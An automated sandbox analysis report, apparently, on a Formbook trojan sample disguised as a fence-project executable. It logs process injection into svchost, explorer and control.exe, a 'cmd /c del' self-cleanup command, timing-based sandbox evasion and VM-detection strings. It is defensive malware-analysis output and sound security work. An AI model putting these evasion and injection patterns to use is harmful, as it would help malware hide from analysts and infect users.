          Source: Process Memory Space: control.exe PID: 7668, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: classification engineClassification label: mal100.troj.evad.winEXE@279/4@12/8
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEA2D5 GetLastError,FormatMessageW,0_2_00DEA2D5
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DD8713 AdjustTokenPrivileges,CloseHandle,0_2_00DD8713
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DD8CC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_00DD8CC3
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEB59E SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_00DEB59E
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DFF121 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,0_2_00DFF121
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DF86D0 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,0_2_00DF86D0
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D84FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_00D84FE9
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7732:120:WilError_03
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeFile created: C:\Users\user~1\AppData\Local\Temp\autBE59.tmpJump to behavior
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: C:\Windows\explorer.exeFile read: C:\Users\desktop.iniJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeReversingLabs: Detection: 66%
          Source: unknownProcess created: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe"
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe"
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\control.exe "C:\Windows\SysWOW64\control.exe"
          Source: C:\Windows\SysWOW64\control.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\svchost.exe"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exe"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\control.exe "C:\Windows\SysWOW64\control.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\control.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\svchost.exe"Jump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeSection loaded: wsock32.dllJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeSection loaded: winmm.dllJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeSection loaded: mpr.dllJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: mfsrcsnk.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: msvcp140.dllJump to behavior
          Source: C:\Windows\SysWOW64\control.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32Jump to behavior
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic file information: File size 1128960 > 1048576
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
          Source: Binary string: wntdll.pdbUGP source: 2024 Lusail Fence-WITH STICKER-2-003.exe, 00000000.00000003.1364522933.0000000004330000.00000004.00001000.00020000.00000000.sdmp, 2024 Lusail Fence-WITH STICKER-2-003.exe, 00000000.00000003.1364960742.0000000004190000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1367439868.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1418417449.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365074294.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1418417449.000000000379E000.00000040.00001000.00020000.00000000.sdmp, control.exe, 00000004.00000003.1417912394.00000000040DF000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000003.1421634030.000000000428E000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000002.3809219017.00000000045DE000.00000040.00001000.00020000.00000000.sdmp, control.exe, 00000004.00000002.3809219017.0000000004440000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: control.pdb source: svchost.exe, 00000002.00000002.1421885030.0000000005310000.00000040.10000000.00040000.00000000.sdmp, svchost.exe, 00000002.00000003.1417263305.000000000301B000.00000004.00000020.00020000.00000000.sdmp, control.exe, control.exe, 00000004.00000002.3808912482.0000000000C90000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: 2024 Lusail Fence-WITH STICKER-2-003.exe, 00000000.00000003.1364522933.0000000004330000.00000004.00001000.00020000.00000000.sdmp, 2024 Lusail Fence-WITH STICKER-2-003.exe, 00000000.00000003.1364960742.0000000004190000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1367439868.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1418417449.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1365074294.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1418417449.000000000379E000.00000040.00001000.00020000.00000000.sdmp, control.exe, control.exe, 00000004.00000003.1417912394.00000000040DF000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000003.1421634030.000000000428E000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000002.3809219017.00000000045DE000.00000040.00001000.00020000.00000000.sdmp, control.exe, 00000004.00000002.3809219017.0000000004440000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: control.pdbUGP source: svchost.exe, 00000002.00000002.1421885030.0000000005310000.00000040.10000000.00040000.00000000.sdmp, svchost.exe, 00000002.00000003.1417263305.000000000301B000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000002.3808912482.0000000000C90000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: svchost.pdb source: explorer.exe, 00000003.00000002.3823187633.0000000010F0F000.00000004.80000000.00040000.00000000.sdmp, control.exe, 00000004.00000002.3808555640.000000000070B000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000002.3810060905.000000000498F000.00000004.10000000.00040000.00000000.sdmp
          Source: Binary string: svchost.pdbUGP source: explorer.exe, 00000003.00000002.3823187633.0000000010F0F000.00000004.80000000.00040000.00000000.sdmp, control.exe, 00000004.00000002.3808555640.000000000070B000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000004.00000002.3810060905.000000000498F000.00000004.10000000.00040000.00000000.sdmp
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
          Source: 2024 Lusail Fence-WITH STICKER-2-003.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DFC304 LoadLibraryA,GetProcAddress,0_2_00DFC304
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DA8B85 push ecx; ret 0_2_00DA8B98
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041793E push eax; ret 2_2_00417942
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040A99E pushfd ; ret 2_2_0040A99F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E343 push eax; retf 2_2_0040E344
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041DB1D push edx; ret 2_2_0041DC78
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00416CD6 push eax; ret 2_2_00416CD9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041D4F2 push eax; ret 2_2_0041D4F8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041D4FB push eax; ret 2_2_0041D562
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041D4A5 push eax; ret 2_2_0041D4F8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041E552 push dword ptr [B4E3C852h]; ret 2_2_0041E577
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041D55C push eax; ret 2_2_0041D562
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00416627 push 00000000h; retf 2_2_00416629
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041B714 push ecx; ret 2_2_0041B715
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0360225F pushad ; ret 2_2_036027F9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036027FA pushad ; ret 2_2_036027F9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036309AD push ecx; mov dword ptr [esp], ecx2_2_036309B6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0360283D push eax; iretd 2_2_03602858
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0360135F push eax; iretd 2_2_03601369
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B5EB1E push esp; retn 0000h2_2_03B5EB1F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B5EB02 push esp; retn 0000h2_2_03B5EB03
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B5E9B5 push esp; retn 0000h2_2_03B5EAE7
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBBB9B5 push esp; retn 0000h3_2_0EBBBAE7
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBBBB1E push esp; retn 0000h3_2_0EBBBB1F
          Source: C:\Windows\explorer.exeCode function: 3_2_0EBBBB02 push esp; retn 0000h3_2_0EBBBB03
          Source: C:\Windows\explorer.exeCode function: 3_2_0F43BB02 push esp; retn 0000h3_2_0F43BB03
          Source: C:\Windows\explorer.exeCode function: 3_2_0F43BB1E push esp; retn 0000h3_2_0F43BB1F
          Source: C:\Windows\explorer.exeCode function: 3_2_0F43B9B5 push esp; retn 0000h3_2_0F43BAE7
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_00C9486D push ecx; ret 4_2_00C94880
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_044709AD push ecx; mov dword ptr [esp], ecx4_2_044709B6
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BE0A1 push eax; retf 4_2_001BE0A2
          Source: C:\Windows\SysWOW64\control.exeCode function: 4_2_001BE0C8 push esi; retf 4_2_001BE0CC
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D84A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00D84A35
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00E055FD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_00E055FD
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DA33C7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00DA33C7
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\control.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

          Malware Analysis System Evasion

          barindex
          Switches to a custom stack to bypass stack traces
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeAPI/Special instruction interceptor: Address: 18C3204
          Source: C:\Windows\SysWOW64\svchost.exeAPI/Special instruction interceptor: Address: 7FFB2CECD324
          Source: C:\Windows\SysWOW64\svchost.exeAPI/Special instruction interceptor: Address: 7FFB2CED0774
          Source: C:\Windows\SysWOW64\svchost.exeAPI/Special instruction interceptor: Address: 7FFB2CED0154
          Source: C:\Windows\SysWOW64\svchost.exeAPI/Special instruction interceptor: Address: 7FFB2CECD8A4
          Source: C:\Windows\SysWOW64\svchost.exeAPI/Special instruction interceptor: Address: 7FFB2CECDA44
          Source: C:\Windows\SysWOW64\svchost.exeAPI/Special instruction interceptor: Address: 7FFB2CECD1E4
          Source: C:\Windows\SysWOW64\control.exeAPI/Special instruction interceptor: Address: 7FFB2CECD324
          Source: C:\Windows\SysWOW64\control.exeAPI/Special instruction interceptor: Address: 7FFB2CED0774
          Source: C:\Windows\SysWOW64\control.exeAPI/Special instruction interceptor: Address: 7FFB2CECD944
          Source: C:\Windows\SysWOW64\control.exeAPI/Special instruction interceptor: Address: 7FFB2CECD504
          Source: C:\Windows\SysWOW64\control.exeAPI/Special instruction interceptor: Address: 7FFB2CECD544
          Source: C:\Windows\SysWOW64\control.exeAPI/Special instruction interceptor: Address: 7FFB2CECD1E4
          Source: C:\Windows\SysWOW64\control.exeAPI/Special instruction interceptor: Address: 7FFB2CED0154
          Source: C:\Windows\SysWOW64\control.exeAPI/Special instruction interceptor: Address: 7FFB2CECD8A4
          Source: C:\Windows\SysWOW64\control.exeAPI/Special instruction interceptor: Address: 7FFB2CECDA44
          Tries to detect virtualization through RDTSC time measurements
          Source: C:\Windows\SysWOW64\svchost.exeRDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\svchost.exeRDTSC instruction interceptor: First address: 409B6E second address: 409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\control.exeRDTSC instruction interceptor: First address: 1A9904 second address: 1A990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\control.exeRDTSC instruction interceptor: First address: 1A9B6E second address: 1A9B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00409AA0 rdtsc 2_2_00409AA0
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 978Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 8956Jump to behavior
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 883Jump to behavior
          Source: C:\Windows\SysWOW64\control.exeWindow / User API: threadDelayed 9842Jump to behavior
          Source: C:\Windows\explorer.exeDecision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-100134
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeAPI coverage: 4.6 %
          Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 2.0 %
          Source: C:\Windows\SysWOW64\control.exeAPI coverage: 2.0 %
          Source: C:\Windows\explorer.exe TID: 7952Thread sleep count: 978 > 30Jump to behavior
          Source: C:\Windows\explorer.exe TID: 7952Thread sleep time: -1956000s >= -30000sJump to behavior
          Source: C:\Windows\explorer.exe TID: 7952Thread sleep count: 8956 > 30Jump to behavior
          Source: C:\Windows\explorer.exe TID: 7952Thread sleep time: -17912000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\control.exe TID: 7800Thread sleep count: 130 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\control.exe TID: 7800Thread sleep time: -260000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\control.exe TID: 7800Thread sleep count: 9842 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\control.exe TID: 7800Thread sleep time: -19684000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\control.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\control.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DE4696 GetFileAttributesW,FindFirstFileW,FindClose,0_2_00DE4696
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEC9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00DEC9C7
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEC93C FindFirstFileW,FindClose,0_2_00DEC93C
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEF200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00DEF200
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEF35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00DEF35D
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEF65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00DEF65E
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DE3A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00DE3A2B
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DE3D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_00DE3D4E
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DEBF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00DEBF27
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00D84AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_00D84AFE
          Source: explorer.exe, 00000003.00000000.1372817528.0000000000C74000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000I
          Source: explorer.exe, 00000003.00000000.1373914152.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.
          Source: explorer.exe, 00000003.00000003.3074348658.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
          Source: explorer.exe, 00000003.00000000.1377287114.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272115538.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3816237958.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3074348658.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: explorer.exe, 00000003.00000000.1373914152.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
          Source: explorer.exe, 00000003.00000000.1373914152.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
          Source: explorer.exe, 00000003.00000000.1377287114.0000000009013000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
          Source: explorer.exe, 00000003.00000000.1373914152.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
          Source: explorer.exe, 00000003.00000003.2273284705.000000000730A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_xU1
          Source: explorer.exe, 00000003.00000003.3074348658.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
          Source: explorer.exe, 00000003.00000003.3074348658.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000I}~"
          Source: explorer.exe, 00000003.00000002.3817490344.0000000009052000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000}io
          Source: explorer.exe, 00000003.00000003.3074348658.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00
          Source: explorer.exe, 00000003.00000003.2272115538.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3816237958.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1377287114.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3074348658.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWystem32\DriverStore\en-US\machine.inf_loc5
          Source: explorer.exe, 00000003.00000000.1373914152.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware20,1
          Source: explorer.exe, 00000003.00000000.1373914152.0000000003249000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
          Source: explorer.exe, 00000003.00000003.3074348658.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMWare
          Source: explorer.exe, 00000003.00000002.3817490344.0000000009052000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000'
          Source: explorer.exe, 00000003.00000003.2273284705.000000000730A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
